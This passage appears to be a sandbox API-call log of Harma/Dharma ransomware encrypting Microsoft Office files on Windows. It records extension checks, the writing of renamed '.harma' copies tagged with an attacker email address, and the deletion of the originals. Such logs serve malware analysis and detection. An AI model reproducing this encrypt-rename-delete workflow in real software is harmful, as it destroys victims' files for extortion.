lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.794] lstrlenW (lpString=".rar") returned 4 [0164.794] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.794] lstrlenW (lpString=".bz2") returned 4 [0164.794] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.794] lstrlenW (lpString=".7z") returned 3 [0164.794] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.794] lstrlenW (lpString=".dbf") returned 4 [0164.794] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.794] lstrlenW (lpString=".1cd") returned 4 [0164.794] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.794] lstrlenW (lpString=".jpg") returned 4 [0164.794] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.794] lstrlenW (lpString=".doc") returned 4 [0164.794] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.794] lstrlenW (lpString=".docx") returned 5 [0164.794] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.794] lstrlenW (lpString=".pdf") returned 4 [0164.794] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.794] lstrlenW (lpString=".xls") returned 4 [0164.794] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.794] lstrlenW (lpString=".xlsx") returned 5 [0164.794] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.794] lstrlenW (lpString=".ppt") returned 4 [0164.794] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.794] lstrlenW (lpString=".zip") returned 4 [0164.794] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.795] lstrlenW (lpString=".rar") returned 4 [0164.795] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.795] lstrlenW (lpString=".bz2") returned 4 [0164.795] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.795] lstrlenW (lpString=".7z") returned 3 [0164.795] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.795] lstrlenW (lpString=".dbf") returned 4 [0164.795] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.795] lstrlenW (lpString=".1cd") returned 4 [0164.795] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK") returned 67 [0164.795] lstrlenW (lpString=".jpg") returned 4 [0164.795] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.795] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.795] lstrlenW (lpString="VISIO_STD_K_COL.HXK") returned 19 [0164.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.796] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=113) returned 1 [0164.796] CloseHandle (hObject=0x3a0) returned 1 [0164.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 0x20 [0164.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.797] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.797] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.797] GetLastError () returned 0x0 [0164.798] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x71, lpOverlapped=0x0) returned 1 [0164.805] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0164.807] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.807] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0164.807] SetEndOfFile (hFile=0x374) returned 1 [0164.807] CloseHandle (hObject=0x374) returned 1 [0164.807] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.807] SetEndOfFile (hFile=0x3a0) returned 1 [0164.809] CloseHandle (hObject=0x3a0) returned 1 [0164.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 1 [0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.811] lstrlenW (lpString=".doc") returned 4 [0164.811] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.811] lstrlenW (lpString=".docx") returned 5 [0164.811] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.811] lstrlenW (lpString=".pdf") returned 4 [0164.811] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.811] lstrlenW (lpString=".xls") returned 4 [0164.811] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.811] lstrlenW (lpString=".xlsx") returned 5 [0164.811] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.811] lstrlenW (lpString=".ppt") returned 4 [0164.811] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.811] lstrlenW (lpString=".zip") returned 4 [0164.811] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.811] lstrlenW (lpString=".rar") returned 4 [0164.811] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.811] lstrlenW (lpString=".bz2") returned 4 [0164.811] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.811] lstrlenW (lpString=".7z") returned 3 [0164.811] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.811] lstrlenW (lpString=".dbf") returned 4 [0164.811] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.811] lstrlenW (lpString=".1cd") returned 4 [0164.811] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.811] lstrlenW (lpString=".jpg") returned 4 [0164.811] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.812] lstrlenW (lpString=".doc") returned 4 [0164.812] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.812] lstrlenW (lpString=".docx") returned 5 [0164.812] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.812] lstrlenW (lpString=".pdf") returned 4 [0164.812] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.812] lstrlenW (lpString=".xls") returned 4 [0164.812] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.812] lstrlenW (lpString=".xlsx") returned 5 [0164.812] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.812] lstrlenW (lpString=".ppt") returned 4 [0164.812] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.812] lstrlenW (lpString=".zip") returned 4 [0164.812] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.812] lstrlenW (lpString=".rar") returned 4 [0164.812] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.812] lstrlenW (lpString=".bz2") returned 4 [0164.812] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.812] lstrlenW (lpString=".7z") returned 3 [0164.812] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.812] lstrlenW (lpString=".dbf") returned 4 [0164.812] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.812] lstrlenW (lpString=".1cd") returned 4 [0164.812] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67 [0164.812] lstrlenW (lpString=".jpg") returned 4 [0164.812] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.813] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0164.813] lstrlenW (lpString="VISWEB.VSL") returned 10 [0164.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.813] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=68488) returned 1 [0164.813] CloseHandle (hObject=0x3a0) returned 1 [0164.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 0x20 [0164.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0164.814] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.814] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0164.814] GetLastError () returned 0x0 [0164.814] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x10b88, lpOverlapped=0x0) returned 1 [0164.832] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x10b90, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x10b90, lpOverlapped=0x0) returned 1 [0164.834] ReadFile (in: hFile=0x3a0, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.834] WriteFile (in: hFile=0x374, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0164.834] SetEndOfFile (hFile=0x374) returned 1 [0164.857] CloseHandle (hObject=0x374) returned 1 [0164.857] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.857] SetEndOfFile (hFile=0x3a0) returned 1 [0164.860] CloseHandle (hObject=0x3a0) returned 1 [0164.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 1 [0164.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.861] lstrlenW (lpString=".doc") returned 4 [0164.861] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0164.861] lstrlenW (lpString=".docx") returned 5 [0164.861] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0164.862] lstrlenW (lpString=".pdf") returned 4 [0164.862] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0164.862] lstrlenW (lpString=".xls") returned 4 [0164.862] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0164.862] lstrlenW (lpString=".xlsx") returned 5 [0164.862] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0164.862] lstrlenW (lpString=".ppt") returned 4 [0164.862] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0164.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.862] lstrlenW (lpString=".zip") returned 4 [0164.862] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0164.862] lstrlenW (lpString=".rar") returned 4 [0164.862] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0164.862] lstrlenW (lpString=".bz2") returned 4 [0164.862] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0164.862] lstrlenW (lpString=".7z") returned 3 [0164.862] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0164.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.862] lstrlenW (lpString=".dbf") returned 4 [0164.862] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0164.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.862] lstrlenW (lpString=".1cd") returned 4 [0164.862] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0164.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.862] lstrlenW (lpString=".jpg") returned 4 [0164.862] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0164.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.862] lstrlenW (lpString=".doc") returned 4 [0164.862] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0164.862] lstrlenW (lpString=".docx") returned 5 [0164.863] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0164.863] lstrlenW (lpString=".pdf") returned 4 [0164.863] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0164.863] lstrlenW (lpString=".xls") returned 4 [0164.863] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0164.863] lstrlenW (lpString=".xlsx") returned 5 [0164.863] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0164.863] lstrlenW (lpString=".ppt") returned 4 [0164.863] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0164.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.863] lstrlenW (lpString=".zip") returned 4 [0164.863] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0164.863] lstrlenW (lpString=".rar") returned 4 [0164.863] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0164.863] lstrlenW (lpString=".bz2") returned 4 [0164.863] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0164.863] lstrlenW (lpString=".7z") returned 3 [0164.863] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0164.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.863] lstrlenW (lpString=".dbf") returned 4 [0164.863] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0164.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.863] lstrlenW (lpString=".1cd") returned 4 [0164.863] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0164.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0164.863] lstrlenW (lpString=".jpg") returned 4 [0164.863] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0164.868] lstrcmpiW (lpString1=".VRD", lpString2=".harma") returned 1 [0164.868] lstrlenW (lpString="WDALLLNK.VRD") returned 12 [0164.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.910] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1940) returned 1 [0164.910] CloseHandle (hObject=0x3ac) returned 1 [0164.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 0x20 [0164.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.911] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.911] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.912] GetLastError () returned 0x0 [0164.912] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x794, lpOverlapped=0x0) returned 1 [0164.917] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0164.918] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.918] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0164.919] SetEndOfFile (hFile=0x378) returned 1 [0164.919] CloseHandle (hObject=0x378) returned 1 [0164.919] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.919] SetEndOfFile (hFile=0x3ac) returned 1 [0164.921] CloseHandle (hObject=0x3ac) returned 1 [0164.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd")) returned 1 [0164.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.922] lstrlenW (lpString=".doc") returned 4 [0164.922] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0164.923] lstrlenW (lpString=".docx") returned 5 [0164.923] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0164.923] lstrlenW (lpString=".pdf") returned 4 [0164.923] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0164.923] lstrlenW (lpString=".xls") returned 4 [0164.923] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0164.923] lstrlenW (lpString=".xlsx") returned 5 [0164.923] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0164.923] lstrlenW (lpString=".ppt") returned 4 [0164.923] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0164.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.923] lstrlenW (lpString=".zip") returned 4 [0164.923] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0164.923] lstrlenW (lpString=".rar") returned 4 [0164.923] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0164.923] lstrlenW (lpString=".bz2") returned 4 [0164.923] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0164.923] lstrlenW (lpString=".7z") returned 3 [0164.923] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0164.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.923] lstrlenW (lpString=".dbf") returned 4 [0164.923] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0164.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.923] lstrlenW (lpString=".1cd") returned 4 [0164.923] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0164.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.923] lstrlenW (lpString=".jpg") returned 4 [0164.923] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0164.924] lstrlenW (lpString="C:\\Program 